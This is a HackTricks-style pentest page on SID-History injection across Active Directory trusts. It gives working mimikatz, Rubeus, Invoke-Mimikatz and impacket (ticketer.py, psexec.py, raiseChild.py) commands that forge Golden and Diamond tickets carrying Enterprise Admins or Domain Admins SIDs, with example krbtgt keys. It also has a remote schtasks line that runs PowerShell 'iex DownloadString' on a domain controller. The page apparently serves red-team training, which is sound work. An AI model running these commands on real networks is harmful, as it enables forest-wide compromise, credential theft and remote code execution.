SID-History Injection

Support HackTricks and get benefits!


SID History was designed to support migration scenarios, where a user would be moved from one domain to another. To preserve access to resources in the "old" domain, the user's previous SID would be added to the SID History of their new account. So when creating such a ticket, the SID of a privileged group (EAs, DAs, etc) in the parent domain can be added that will grant access to all resources in the parent.
This can be achieved using either a Golden or Diamond Ticket.
For finding the SID of the "Enterprise Admins" group you can find the SID of the root domain and set it in S-1-5-21-<root domain>-519. For example, from root domain SID S-1-5-21-280534878-1496970234-700767426 the "Enterprise Admins" group SID is S-1-5-21-280534878-1496970234-700767426-519
You could also use the Domain Admins groups, which ends in 512.
Another way yo find the SID of a group of the other domain (for example "Domain Admins") is with:
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid

Golden Ticket (Mimikatz) with KRBTGT-AES256

mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
/user is the username to impersonate (could be anything)
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.
# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain

Diamond Ticket (Rubeus + KRBTGT-AES256)

# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
For more info about diamond tickets check:
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
Escalate to DA of root or Enterprise admin using the KRBTGT hash of the compromised domain:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''''')'"
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
With the acquired permissions from the attack you can execute for example a DCSync attack in the new domain:

From linux

Manual with ticketer.py

# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/[email protected] | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/[email protected] | grep -B20 "Enterprise Admins" | grep "Domain SID"
# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
# Load ticket
export KRB5CCNAME=hacker.ccache
# psexec in domain controller of root
psexec.py <child_domain>/[email protected] -k -no-pass -target-ip

Automatic using raiseChild.py

This is an Impacket script which will automate escalating from child to parent domain. The script needs:
  • Target domain controller
  • Creds for an admin user in the child domain
The flow is:
  • Obtains the SID for the Enterprise Admins group of the parent domain
  • Retrieves the hash for the KRBTGT account in the child domain
  • Creates a Golden Ticket
  • Logs into the parent domain
  • Retrieves credentials for the Administrator account in the parent domain
  • If the target-exec switch is specified, it authenticates to the parent domain's Domain Controller via Psexec.
raiseChild.py -target-exec <child_domain>/username
